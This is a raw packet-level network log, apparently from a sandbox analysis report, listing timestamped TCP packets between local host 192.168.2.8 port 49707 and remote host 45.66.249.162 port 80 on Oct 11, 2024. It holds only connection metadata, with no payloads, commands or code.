Oct 11, 2024 22:32:41.637474060 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637497902 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637502909 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637531996 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637536049 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637567043 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637569904 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637599945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637603998 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637633085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637639046 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637665987 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637670040 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637700081 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637702942 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637733936 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637737036 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637768030 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637773037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637800932 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637805939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637835026 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637846947 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637867928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637876034 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637908936 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637917995 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637949944 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637959957 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.637981892 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.637990952 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638010979 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638022900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638047934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638050079 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638082027 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638088942 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638114929 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638123035 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638148069 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638156891 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638180971 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638190031 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638215065 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638225079 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638248920 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638256073 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638283014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638292074 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638314009 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638322115 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638349056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638355017 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638381958 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638394117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638418913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638422012 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638452053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638467073 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638484955 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638493061 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638531923 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638535976 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638569117 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638575077 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638601065 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638609886 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638633966 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638642073 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638674974 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638683081 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638715029 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638725996 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638747931 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638756990 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638784885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638789892 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638818026 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638828039 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638850927 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638858080 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638884068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638890982 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638916969 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.638923883 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638958931 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.638967037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639002085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639009953 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639034033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639040947 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639075041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639084101 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639116049 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639122009 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639148951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639157057 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639183044 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639189959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639214993 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639241934 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639247894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639250994 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639281034 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639290094 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639322996 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639331102 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639364958 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639374971 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639422894 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639442921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639480114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639487028 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639512062 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639517069 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639545918 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639554977 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639585972 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639589071 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639617920 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639626026 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639652014 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639659882 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639686108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639693975 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639718056 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639720917 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639751911 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639756918 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639785051 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639794111 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639817953 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639826059 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639847994 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639858007 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639882088 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639889002 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639914989 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639923096 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639950037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639957905 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.639985085 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.639988899 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640017033 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640028954 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640049934 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640060902 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640083075 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640091896 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640115023 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640124083 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640149117 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640157938 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640182018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640193939 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640214920 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640223980 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640256882 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640265942 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640290022 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640297890 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640324116 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640331984 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640357018 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640367985 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640393019 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640399933 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640427113 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640434980 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640463114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640467882 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640496016 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640502930 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640530109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640541077 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640562057 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640571117 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640595913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640604973 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640629053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640638113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640662909 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640670061 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640695095 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640701056 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640728951 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640737057 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640760899 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640768051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640794039 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640804052 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640826941 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640836000 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640861988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640868902 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640894890 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640902996 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640928984 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640938044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.640969992 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.640974998 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641004086 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641011953 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641036034 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641046047 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641069889 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641077042 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641107082 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641113043 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641140938 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641149044 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641172886 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641182899 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641206980 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641213894 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641238928 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641247034 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641272068 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641277075 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641304970 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641311884 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641338110 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641345978 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641371965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641380072 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641406059 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641412973 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641441107 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641443014 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641474009 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641505003 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641506910 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641515017 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641544104 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641550064 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641577005 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641585112 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641611099 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641616106 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641644001 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641654968 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641678095 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641683102 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641719103 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.641863108 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.641905069 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.647610903 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.647643089 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.647663116 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.647691011 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.647695065 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.647744894 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.647746086 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.647778988 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.647806883 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.647810936 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.647821903 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.647850990 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.647861958 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.647878885 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.647897005 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.647912025 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.647917986 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.647943020 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.647947073 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.647984028 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.647995949 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648026943 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648039103 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648061037 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648071051 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648092985 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648107052 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648135900 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648143053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648174047 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648186922 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648205042 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648215055 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648235083 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648245096 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648274899 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648288965 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648320913 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648329020 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648354053 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648363113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648397923 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648406982 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648447990 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648456097 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648489952 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648499012 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648523092 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648535013 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648567915 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648574114 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648607969 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648618937 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648641109 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648647070 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648679972 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648689985 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648722887 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648749113 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648755074 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648766041 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648802042 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648806095 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648838043 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648849010 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648870945 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648880959 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648900032 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648938894 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648948908 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.648952007 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.648984909 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649000883 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649034023 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649044037 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649079084 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649085045 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649125099 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649133921 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649167061 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649175882 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649199963 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649208069 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649233103 CEST	80	49707	45.66.249.162	192.168.2.8
Oct 11, 2024 22:32:41.649239063 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649272919 CEST	49707	80	192.168.2.8	45.66.249.162
Oct 11, 2024 22:32:41.649282932 CEST	80	49707	45.66.249.162	192.168.2.8
